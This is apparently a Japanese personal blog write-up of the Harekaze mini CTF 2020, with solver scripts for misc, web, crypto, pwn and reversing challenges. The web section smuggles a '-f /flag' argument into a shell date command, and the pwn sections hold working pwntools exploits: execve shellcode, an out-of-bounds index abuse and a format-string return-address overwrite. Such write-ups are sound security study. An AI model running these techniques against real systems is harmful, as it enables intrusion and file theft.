12/26 10:00 - 12/27 10:00 に開催された Harekaze mini CTF 2020 にソロで参加しました。 自分のレベルにちょうどよく、寝るタイミングを失うぐらい楽しめました。 結果は 13th/141 でした。初心者を立たせるために (?) マイナスの点を取る機能があって面白かったですが、自分は初心者レベルなのでマイナス点は完全に避けました。 解けた問題について writeup を書きます。 (それにしても web が全然解けるようになれなくて悔しいなあ)
Misc
Welcome
welcome されました。フラグの prefix が長いなあと感じました (小並感)
HarekazeCTF{4nch0rs_4we1gh}
NM Game
複数山、個数制限つき (1-3個) の Nim 問題です。 証明は省略しますが、各山の個数を 個としたとき、 となるように石を取り続ければ勝ちです。 おそらくプログラム的に xor が非ゼロになるように初期化されている && 必ず自分が初手になっているっぽいので、これで必勝です。 競プロではないので効率を考えない雑なコードを書きました。
from functools import reduce
from pwn import *
r = remote("20.48.84.64", 20001)
# context.log_level = "DEBUG"
r.recvuntil("Creating a new problem...\n")
while True:
remain = int(r.recvline().strip().decode())
if remain < 4:
break
choice = remain % 4
if choice == 0:
choice = 1
r.sendlineafter("How many pebbles do you want to take? [1-3]: ", str(choice))
_ = r.recvline()
choice = remain % 4
_ = r.recvuntil("How many pebbles do you want to take?")
_ = r.recvuntil("]: ")
r.sendline(str(choice))
for _ in range(14):
r.recvuntil("Creating a new problem...\n")
while True:
remains = list(map(int, r.recvline().strip().decode().split()))
grundy = reduce(lambda x, y: (x % 4) ^ (y % 4), remains, 0)
print(remains, grundy)
assert grundy > 0
choice_idx = None
for i, remain in enumerate(remains):
if choice_idx is not None:
break
for j in range(1, 4):
if remain < j:
continue
tmp_remains = remains.copy()
tmp_remains[i] -= j
tmp_grundy = reduce(lambda x, y: (x % 4) ^ (y % 4), tmp_remains, 0)
if tmp_grundy == 0:
choice_idx = i
choice_num = j
break
_ = r.recvuntil("Choose a heap [")
_ = r.recvuntil("]: ")
r.sendline(str(choice_idx))
_ = r.recvuntil("How many pebbles do you want to take?")
_ = r.recvuntil("]: ")
r.sendline(str(choice_num))
ret = r.recvline()
if b"Won!" in ret:
break
r.interactive()
HarekazeCTF{pe6b1y_qRundY_peb6l35}
Web
What time is it now?
時刻を様々なフォーマットで表示する web ページ。時刻の計算には shell の date
コマンドを使用しています。
$result = shell_exec("date '+" . escapeshellcmd($format) . "' 2>&1");
つまり date '+${format}' 2>&1
ということですね。標準エラー出力も親切に表示してくれます。
date
のヘルプを見てみると、 -f
でファイルの内容を見てくれるみたいです。このときにファイルの内容は適切なフォーマットになっていないとエラーが出るのですが、エラー内容を表示するときに中身を標準エラー出力で表示してくれます。
なので、
?format=%H:%M:%S%27%20-f%20/flag%27
というクエリを送ると、 It's date: invalid date 'HarekazeCTF{1t\'s_7pm_1n_t0ky0}' .
という文字列が返ってきました。
(エスケープ用の \ を抜き忘れて一回フラグ通し損ねたのは自分だけでは無いはず)
HarekazeCTF{1t's_7pm_1n_t0ky0}
Crypto
rsa
RSA の公開鍵 に加えて、フラグ () と を暗号化した値 (それぞれ ) が与えられます。
に注意すると、 であることがわかります。 ここから と計算できます。
法を としたときに は の倍数となるので、↑で求めた と の GCD を計算してあげると が求まります。
あとはフラグを復号化するだけです。
from math import gcd
from Crypto.Util.number import *
n = 133957491909745071464818932891535809774039075882486614948793786706389844163167535932401761676665761652470189326864929940531781069869721371517782821535706577114286987515166157005227505921885357696815641758531922874502352782124743577760141307924730988128098174961618373787528649748605481871055458498670887761203
e = 65537
c1 = 35405298533157007859395141814145254094484385088710533905385734792407576252003080929963085838327711405177354982539867453717921912839308282313390558033140654288445877937672625603540090399691469218188262950682485682814224928528948502206046863184746747265896306678488587444125143233443450049838709221084210200357
c2 = 23394879596667385465597018769822552384439114548016006879565586102300995936951562766011707923675690015217418498865916391314367448706185724546566348496812451258316472754407976794025546555423254676274654957362894171995220230464953432393865332807738040967281350952790472772600745096787761443699676372681208295288
c3 = 54869102748428770635192859184579301467475982074831093316564134451063250935340131274147041633101346896954483059058671502582914428555153910133076778016989842641074276293354765141522703887273042367333036465503084165682591308676428523152462442280924054400997210800504726635778588407034149919869556306659386868798
p_e = (c2 + c3) // 2 % n
q_e = (c2 - c3) // 2 % n
p = gcd(p_e, n)
q = gcd(q_e, n)
assert p * q == n
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
print(long_to_bytes(pow(c1, d, n)))
HarekazeCTF{RSA_m34n5_Rin_Shiretoko_Ango}
QR
フラグ文字列の QR コードを 0, 1 で表した matrix
に対して、 matrix2[i, j] = matrix[i, j] + matrix[i, j+1] + matrix[i+1, j] + matrix[i+1, j+1]
と粗視化したような matrix2
が与えられます。
QR コードの仕様を上手く使えば簡単に解けるのかもしれませんが、自分は SAT ソルバーに投げて解きました。 自分の記事 を参考にしました。
以下、CNF 形式のファイルを出力するコード。
from itertools import product
with open("./output.txt", "r") as f:
matrix2 = eval(f.read())
n = len(matrix2) + 1
def v_to_num(row, col):
return row * n + col + 1
clauses = []
def add_clause(xs):
global clauses
for idx_list in product(*[range(4) for _ in range(len(xs))]):
clauses.append((xs[i][idx] for i, idx in enumerate(idx_list)))
for i in range(len(matrix2)):
for j in range(len(matrix2)):
x0 = v_to_num(i, j)
x1 = v_to_num(i, j + 1)
x2 = v_to_num(i + 1, j)
x3 = v_to_num(i + 1, j + 1)
if matrix2[i][j] == 0:
add_clause(
[[x0, x1, x2, x3], [-x0, -x1, -x2, -x3],]
)
elif matrix2[i][j] == 1:
add_clause(
[
[x0, -x1, -x2, -x3],
[-x0, x1, -x2, -x3],
[-x0, -x1, x2, -x3],
[-x0, -x1, -x2, x3],
]
)
elif matrix2[i][j] == 2:
add_clause(
[
[x0, x1, -x2, -x3],
[x0, -x1, x2, -x3],
[x0, -x1, -x2, x3],
[-x0, x1, x2, -x3],
[-x0, x1, -x2, x3],
[-x0, -x1, x2, x3],
]
)
elif matrix2[i][j] == 3:
add_clause(
[
[x0, x1, x2, -x3],
[x0, x1, -x2, x3],
[x0, -x1, x2, x3],
[-x0, x1, x2, x3],
]
)
else:
raise ValueError
clauses = list(set(clauses))
print(len(clauses))
output = ""
output += f"p cnf {n*n} {len(clauses)}\n"
for clause in clauses:
output += " ".join(map(str, clause))
output += " 0\n"
with open("output.ps", "w") as f:
f.write(output)
これで出力された output.ps を java -jar org.sat4j.core.jar output.ps
でソルバーに投げ、得られた結果に対して以下の script を実行し、出力された QR コードを読み取りました。
import matplotlib.pyplot as plt
result = "1 2 3 4 5 6 7 -8 9 -10 11 -12 -13 -14 15 16 17 -18 19 -20 -21 -22 23 24 25 -26 27 28 29 30 31 32 33 34 -35 -36 -37 -38 -39 40 -41 -42 -43 -44 45 46 -47 -48 -49 50 51 52 53 54 -55 -56 -57 58 -59 60 -61 -62 -63 -64 -65 66 67 -68 69 70 71 -72 73 -74 -75 76 77 -78 79 80 -81 -82 83 84 85 -86 -87 88 -89 90 91 -92 93 -94 95 96 97 -98 99 100 -101 102 103 104 -105 106 -107 108 -109 110 111 112 -113 114 115 -116 -117 118 119 120 -121 122 123 124 -125 126 -127 128 129 130 -131 132 133 -134 135 136 137 -138 139 -140 141 142 143 -144 145 -146 147 -148 -149 150 151 -152 153 -154 155 156 157 -158 159 -160 161 162 163 -164 165 166 -167 -168 -169 -170 -171 172 -173 174 175 176 -177 178 179 180 -181 182 -183 184 185 186 -187 -188 -189 190 -191 192 -193 -194 -195 -196 -197 198 199 200 201 202 203 204 205 -206 207 -208 209 -210 211 -212 213 -214 215 -216 217 -218 219 -220 221 -222 223 -224 225 226 227 228 229 230 231 -232 -233 -234 -235 -236 -237 -238 -239 240 -241 242 -243 -244 -245 -246 247 248 249 250 -251 252 253 254 255 256 -257 -258 -259 -260 -261 -262 -263 -264 265 -266 -267 -268 269 -270 271 272 273 -274 -275 -276 277 -278 279 -280 -281 282 -283 284 285 -286 287 -288 289 290 291 292 293 294 -295 -296 297 -298 299 -300 -301 -302 303 -304 -305 306 307 308 -309 310 311 -312 313 314 315 316 -317 -318 -319 320 321 -322 323 -324 325 -326 -327 328 -329 -330 331 332 333 334 335 336 337 -338 -339 340 -341 -342 343 -344 -345 346 -347 348 349 -350 351 352 353 354 355 -356 357 358 -359 -360 -361 -362 -363 -364 -365 366 367 368 369 -370 -371 -372 373 -374 375 376 -377 378 -379 -380 381 382 383 384 385 -386 -387 -388 389 -390 391 -392 -393 -394 395 -396 -397 -398 399 -400 -401 402 403 404 405 -406 -407 408 -409 410 411 412 -413 414 415 416 417 418 419 420 -421 422 423 -424 425 426 -427 428 429 -430 -431 432 433 434 435 -436 437 -438 439 440 -441 -442 -443 -444 -445 446 447 -448 -449 -450 451 452 453 454 -455 -456 457 -458 -459 460 461 -462 -463 -464 465 466 -467 468 469 470 471 472 -473 474 475 476 477 -478 479 -480 481 -482 483 -484 -485 486 487 488 -489 -490 -491 -492 493 494 -495 -496 497 498 499 500 -501 -502 -503 504 -505 -506 -507 508 509 510 -511 -512 513 -514 515 516 517 -518 -519 -520 521 -522 -523 -524 -525 -526 -527 -528 529 530 -531 532 533 534 535 -536 537 538 -539 -540 -541 542 543 544 545 546 -547 -548 -549 550 551 -552 -553 -554 555 556 557 -558 -559 560 -561 562 -563 564 -565 566 567 -568 569 570 -571 572 573 -574 575 -576 -577 578 -579 580 -581 582 583 584 585 -586 587 588 589 -590 -591 592 -593 -594 595 596 -597 598 -599 -600 601 602 603 -604 -605 606 -607 -608 609 610 611 612 613 -614 615 616 617 618 -619 620 -621 -622 623 624 625 -626 -627 628 629 -630 -631 632 -633 -634 635 636 -637 -638 -639 640 641 642 -643 644 645 -646 647 648 649 -650 -651 652 653 -654 655 656 -657 -658 659 -660 -661 662 663 664 -665 666 667 -668 -669 -670 671 -672 -673 -674 675 -676 -677 678 -679 -680 -681 -682 683 -684 -685 -686 687 688 -689 -690 -691 692 693 694 695 -696 -697 -698 699 -700 701 702 703 704 705 706 -707 -708 -709 -710 711 712 713 -714 715 716 717 718 -719 720 721 -722 723 -724 725 726 -727 -728 729 -730 -731 732 733 734 -735 -736 737 738 -739 -740 -741 742 -743 -744 -745 -746 -747 748 749 750 -751 -752 -753 -754 -755 756 757 758 -759 -760 -761 762 763 764 -765 -766 767 -768 -769 770 -771 -772 -773 774 775 -776 777 778 779 780 781 -782 -783 -784 785 786 787 788 -789 -790 -791 792 793 794 795 796 -797 -798 799 -800 801 -802 803 -804 805 806 -807 808 809 -810 -811 -812 -813 814 -815 -816 817 818 819 820 821 -822 -823 824 -825 -826 -827 -828 -829 -830 -831 -832 -833 834 -835 836 -837 -838 839 -840 841 842 843 -844 845 -846 847 848 -849 850 -851 -852 -853 854 855 856 -857 -858 859 860 861 862 863 864 865 -866 867 868 -869 -870 -871 -872 -873 874 -875 -876 877 -878 879 -880 -881 882 883 -884 885 -886 887 -888 -889 -890 -891 892 -893 -894 -895 -896 -897 898 -899 -900 -901 -902 -903 -904 905 906 907 908 909 -910 -911 912 913 -914 -915 916 -917 -918 -919 920 -921 -922 -923 -924 925 -926 927 928 929 -930 931 -932 933 -934 935 936 937 -938 -939 -940 941 942 -943 944 945 946 947 -948 949 950 951 952 953 -954 -955 -956 957 958 -959 960 961 962 -963 964 -965 -966 967 -968 -969 -970 971 972 973 974 975 976 -977 -978 -979 -980 -981 982 -983 984 -985 986 987 988 -989 -990 991 -992 993 994 995 -996 997 -998 -999 1000 -1001 -1002 1003 -1004 -1005 1006 1007 -1008 1009 -1010 1011 1012 1013 -1014 -1015 1016 -1017 -1018 1019 -1020 1021 -1022 -1023 1024 -1025 -1026 -1027 -1028 -1029 1030 -1031 -1032 1033 -1034 -1035 1036 1037 1038 1039 -1040 1041 1042 -1043 -1044 1045 1046 -1047 1048 1049 1050 -1051 -1052 1053 -1054 -1055 -1056 1057 1058 1059 1060 1061 1062 1063 -1064 1065 -1066 1067 -1068 -1069 -1070 1071 -1072 1073 1074 -1075 -1076 -1077 1078 1079 1080 1081 -1082 -1083 -1084 1085 1086 -1087 -1088 1089"
N = 33
def n_to_v(n):
n -= 1
col = n % N
row = n // N
return (row, col)
matrix = [[0 for _ in range(N)] for _ in range(N)]
vs = list(map(n_to_v, map(int, result.split())))
for v in vs:
if v[0] < 0 or v[1] < 0:
continue
matrix[v[0]][v[1]] = 1
plt.imshow(matrix)
plt.show()
HarekazeCTF{d0_y0u_7hink_qr_ch4113ng3_i5_r3411y_in_d3m4nd}
Pwn
Shellcode
与えた shellcode を実行してくれます。しかし最初の 6 バイトは \x48\x31\xe4\x48\x31\xed
(xor rsp, rsp; xor rbp, rbp;
) と決まっているので stack を使うことはできません。
/bin/sh
という文字列は用意されているので、この文字列アドレスを rdi
に、rsi=rdx=0
に、rax=59
にして syscall を呼ぶことでシェルを奪いました。
from pwn import *
r = remote("20.48.83.165", 20005)
elf = ELF("./shellcode")
context.binary = elf
payload = b""
payload += asm("mov rdi, 0x404060")
payload += asm("mov rsi, 0")
payload += asm("mov rdx, 0")
payload += asm("mov rax, 59")
payload += asm("syscall")
r.recvuntil('Execute execve("/bin/sh", NULL, NULL)\n')
r.sendline(payload)
r.interactive()
HarekazeCTF{W3lc0me_7o_th3_pwn_w0r1d!}
NM Game Extreme
NM Game の pwn 版。
山を選ぶときの index に対して境界の処理がありません。なので山から石を 1-3 個減らすのではなく、 remaining_games
から 1-3 を引いていきましょう。
↓あまりにも雑なコード
from collections import Counter
import numpy as np
from pwn import *
r = remote("20.48.84.13", 20003)
elf = ELF("./nmgameex")
context.binary = elf
r.recvuntil("Creating a new problem...\n")
while True:
remain = int(r.recvline().strip().decode())
if remain < 4:
break
choice = remain % 4
if choice == 0:
choice = 1
r.sendlineafter("How many pebbles do you want to take? [1-3]: ", str(choice))
_ = r.recvline()
choice = remain % 4
_ = r.recvuntil("How many pebbles do you want to take?")
_ = r.recvuntil("]: ")
r.sendline(str(choice))
for _ in range(132):
_ = r.recvuntil("Choose a heap [")
_ = r.recvuntil("]: ")
r.sendline("-4") # -16//4 = -4
_ = r.recvuntil("How many pebbles do you want to take?")
_ = r.recvuntil("]: ")
r.sendline("3")
_ = r.recvuntil("Choose a heap [")
_ = r.recvuntil("]: ")
r.sendline("-4") # -16//4 = -4
_ = r.recvuntil("How many pebbles do you want to take?")
_ = r.recvuntil("]: ")
r.sendline("2")
_ = r.recvline()
# ここまでで remaining_games = 1
while True:
remains = list(map(int, r.recvline().strip().decode().split()))
cnt = Counter(remains)
if cnt[0] == len(remains) - 1:
choice_idx = np.argmax(remains)
remain = remains[choice_idx]
choice_num = remain % 4
if choice_num == 0:
choice_num = 1
else:
for i, remain in enumerate(remains):
if remain == 0:
continue
choice_idx = i
choice_num = min(remain, 3)
break
_ = r.recvuntil("Choose a heap [")
_ = r.recvuntil("]: ")
r.sendline(str(choice_idx))
_ = r.recvuntil("How many pebbles do you want to take?")
_ = r.recvuntil("]: ")
r.sendline(str(choice_num))
ret = r.recvline()
if b"Won!" in ret:
break
r.interactive()
HarekazeCTF{1o0ks_lik3_w3_mad3_A_m1st4ke_ag41n}
Kodama
format string attack の脆弱性があります。しかし入力は 0x20 バイトしか受け付けていないので工夫が必要でした。
実装上 printf は2回しか呼ばれないため、1回目で stack のアドレスや __libc_start_main
への return 先のアドレスをリークして、2回目で one-gadget RCE のアドレスに飛ぶよう return address を書き換えることになります。
しかし 0x20 バイトでは後者を行うのは厳しかったです…
なので、2回目の入力で、何回目の printf かを表す $rbp-0x34
を負の値にして何回も format string attack ができるようにしました。
from pwn import *
r = remote("20.48.81.63", 20002)
elf = ELF("./kodama")
context.binary = elf
libc = ELF("./libc.so.6")
r.recvuntil(
" |__/ |__/ |__/|__/ |__/|__/ |__/ \______/ \______/ \______/ |__/|__/\n\n"
)
r.sendline(b"%12$016lx %15$016lx") # rbp-? と __libc_start_main ret address
ret = r.recvline().strip().split()
rbp_offset, ret_address = int(ret[0], 16), int(ret[1], 16)
offset = 0xF0
rbp = rbp_offset - offset
libc_ret_address = libc.symbols["__libc_start_main"] + 242
rce = ret_address - libc_ret_address + 0xDF54F
def gen_payload(address, value):
payload = b""
n = 0
t = (value & 0xFF) - n % 256
if t <= 1:
t += 256
payload += f"%{t}c%11$hhn".encode()
assert len(payload) <= 24
payload += b"A" * (8 * 3 - len(payload))
payload += pack(address)
return payload[:-1]
payload = gen_payload(rbp - 0x31, 0xFF)
r.sendline(payload)
_ = r.recvline()
for i in range(8):
t = rce & 0xFF
payload = gen_payload(rbp + 0x8 + i, t)
rce >>= 8
r.sendline(payload)
_ = r.recvline()
payload = gen_payload(rbp - 0x31, 0x00)
r.sendline(payload)
r.interactive()
HarekazeCTF{n0_moun741n_no_3ch0}
Reversing
Easy Flag Checker
fakeflag{this_is_not_the_real_flag}
という文字列と table
に格納された値に対し、0文字目は add, 1文字目は sub, 2文字目は xor, 3文字目は add, … と順繰りに演算を変えていくようなプログラムになっていました。
s = "fakeflag{this_is_not_the_real_flag}".encode()
table = [0xE2, 0x0, 0x19, 0x0, 0xFB, 0xD, 0x19, 0x2, 0x38, 0xE0, 0x22, 0x12, 0xBD, 0xED, 0x1D, 0xF5, 0x2F, 0xA, 0xC1, 0xFC, 0x0, 0xF2, 0xFC, 0x51, 0x8, 0x13, 0x6, 0x7, 0x39, 0x3C, 0x5, 0x39, 0x13, 0xBA, 0x0]
flag = ""
for i in range(35):
if i % 3 == 0:
tmp = s[i] + table[i]
elif i % 3 == 1:
tmp = s[i] - table[i]
else:
tmp = s[i] ^ table[i]
tmp %= 256
flag += chr(tmp)
print(flag)
HarekazeCTF{0rth0d0x_fl4g_ch3ck3r!}
Wait
HarekazeCTF{ID____X}SALT
という形式の入力に対して SHA1 をかけたものが保持されたハッシュに一致しているかを確認しているプログラムでした。
しかしプログラムに対して brute force を行うとしても、 sleep 3.00
が内部で行われているためとても時間がかかります。
プログラムを書き換えて sleep 3.00
を潰そうとしても、 sleep 3.00
の文字列に対してもハッシュが一致しているか計算している箇所があり、あまり筋がよさそうではありません。
なのでここまでわかれば自前で hash が一致するかを計算するプログラムを書いてあげればいいだけです。
import binascii
from hashlib import sha1
from itertools import product
print(sha1(b"sleep 3.00\0").hexdigest())
compared = binascii.hexlify(
bytes([0x1F, 0xCC, 0xE7, 0xEC, 0x44, 0xBE, 0xB7, 0x2C, 0x99, 0x4E, 0x2C, 0xD6, 0x9C, 0x46, 0x29, 0x16, 0xCA, 0x8E, 0xC8, 0x10])
).decode()
_range = range(65, 65 + 26)
for i0, i1, i2, i3 in product(_range, _range, _range, _range):
_id = chr(i0) + chr(i1) + chr(i2) + chr(i3)
arg = ("HarekazeCTF{ID" + _id + "X}SALT").encode()
arg += b"\0"
hashed = sha1(arg).hexdigest()
# print(len(hashed), len(compared))
if hashed == compared:
print(_id)
HarekazeCTF{IDRACIX}
Tiny Flag Checker
セクション部分が削られ、さらにヘッダの部分が書き換えられているプログラムが渡されました。 とりあえず最初の 16 バイトを適当な値に修正します。
$ hexdump tiny | head -n 1
0000000 457f 464c 5555 5f4e 414b 4157 4949 c616
$ hexdump tiny_mod | head -n 1
0000000 457f 464c 0102 0001 0000 0000 0000 0000
こうすることである程度人間の目に優しいプログラムになります。
┌ 13: fcn.00400095 ();
│ 0x00400095 b801000000 mov eax, 1
│ 0x0040009a bf01000000 mov edi, 1
│ 0x0040009f 0f05 syscall
└ 0x004000a1 c3 ret
;-- rip:
┌ 204: entry0 ();
│ ; var int64_t var_10h @ rsp+0x10
│ 0x004000a2 4883ec10 sub rsp, 0x10
│ 0x004000a6 4989e0 mov r8, rsp
│ 0x004000a9 4883ec10 sub rsp, 0x10
│ 0x004000ad 4989e1 mov r9, rsp
│ ; CODE XREF from segment.LOAD0 @ +0x74
│ 0x004000b0 660fefc0 pxor xmm0, xmm0
│ 0x004000b4 0f290424 movaps xmmword [rsp], xmm0
│ 0x004000b8 0f29442410 movaps xmmword [var_10h], xmm0
│ 0x004000bd be70004000 mov esi, 0x400070 ; 'p' ; "Input: "
│ 0x004000c2 ba07000000 mov edx, 7
│ 0x004000c7 e8c9ffffff call fcn.00400095 ;[1]
│ 0x004000cc 31c0 xor eax, eax
│ 0x004000ce 31ff xor edi, edi
│ 0x004000d0 4c89c6 mov rsi, r8
│ 0x004000d3 ba10000000 mov edx, 0x10 ; 16
│ 0x004000d8 0f05 syscall
│ 0x004000da 498b00 mov rax, qword [r8]
│ 0x004000dd 493101 xor qword [r9], rax
│ 0x004000e0 498b4008 mov rax, qword [r8 + 8]
│ 0x004000e4 49314108 xor qword [r9 + 8], rax
│ 0x004000e8 49c10929 ror qword [r9], 0x29
│ 0x004000ec 49c1490813 ror qword [r9 + 8], 0x13
│ 0x004000f1 488b04250000. mov rax, qword [segment.LOAD0] ; segment.ehdr
│ ; [0x400000:8]=0x10102464c457f
│ 0x004000f9 493101 xor qword [r9], rax
│ 0x004000fc 488b04250800. mov rax, qword [0x400008] ; [0x400008:8]=0
│ 0x00400104 49314108 xor qword [r9 + 8], rax
│ 0x00400108 488b04252800. mov rax, qword [0x400028] ; [0x400028:8]=0xf0fdcf637563fce7
│ 0x00400110 493301 xor rax, qword [r9]
│ 0x00400113 488b14253000. mov rdx, qword [0x400030] ; [0x400030:8]=0x38cf4f4fdcae66 ; "f\xae\xdcOO\xcf8"
│ 0x0040011b 49335108 xor rdx, qword [r9 + 8]
│ 0x0040011f 4821c0 and rax, rax
│ ┌─< 0x00400122 7532 jne 0x400156
│ │ 0x00400124 4839d0 cmp rax, rdx
│ ┌──< 0x00400127 752d jne 0x400156
│ ││ 0x00400129 be78004000 mov esi, 0x400078 ; 'x' ; "Correct! Flag: HarekazeCTF{}\n\xb8\x01"
│ ││ 0x0040012e ba1b000000 mov edx, 0x1b ; 27
│ ││ 0x00400133 e85dffffff call fcn.00400095 ;[1]
│ ││ 0x00400138 4c89c6 mov rsi, r8
│ ││ 0x0040013b ba10000000 mov edx, 0x10 ; 16
│ ││ 0x00400140 e850ffffff call fcn.00400095 ;[1]
│ ││ 0x00400145 be93004000 mov esi, 0x400093
│ ││ 0x0040014a ba02000000 mov edx, 2
│ ││ 0x0040014f e841ffffff call fcn.00400095 ;[1]
│ ┌───< 0x00400154 eb0f jmp 0x400165
│ │││ ; CODE XREFS from entry0 @ 0x400122, 0x400127
│ │└└─> 0x00400156 be58004000 mov esi, 0x400058 ; 'X' ; "Nope...\nn\x01"
│ │ 0x0040015b ba08000000 mov edx, 8
│ │ 0x00400160 e830ffffff call fcn.00400095 ;[1]
│ │ ; CODE XREF from entry0 @ 0x400154
│ └───> 0x00400165 b83c000000 mov eax, 0x3c ; '<' ; 60
│ 0x0040016a 31ff xor edi, edi
└ 0x0040016c 0f05 syscall
あとは読むだけなのですが、注意点としてプログラム中にヘッダーの値が使われていることが挙げられます。 読みやすさのためにヘッダーを書き換えましたが、正しいフラグを計算するには元々のヘッダーを値を使わなければなりません (ハマった)。
from Crypto.Util.number import *
def xor(a, b):
tmp = b""
for i in range(len(a)):
tmp += (a[i] ^ b[i]).to_bytes(1, "big")
return tmp
def rotate(a, n):
tmp = bin(int.from_bytes(a, "little"))[2:]
return long_to_bytes(int(tmp[n:] + tmp[:n], 2))
data_00 = b"\x7f\x45\x4c\x46\x55\x55\x4e\x5f"
data_28 = b"\xe7\xfc\x63\x75\x63\xcf\xfd\xf0"
data_08 = b"\x4b\x41\x57\x41\x49\x49\x16\xc6"
data_30 = b"\x66\xae\xdc\x4f\x4f\xcf\x38\x00"
tmp_0 = xor(data_00, data_28)
tmp_0 = rotate(tmp_0, 0x29)
tmp_1 = xor(data_08, data_30)
tmp_1 = rotate(tmp_1, 0x13)
print((tmp_1 + tmp_0)[::-1])
HarekazeCTF{fl4g_1s_t1ny_t00}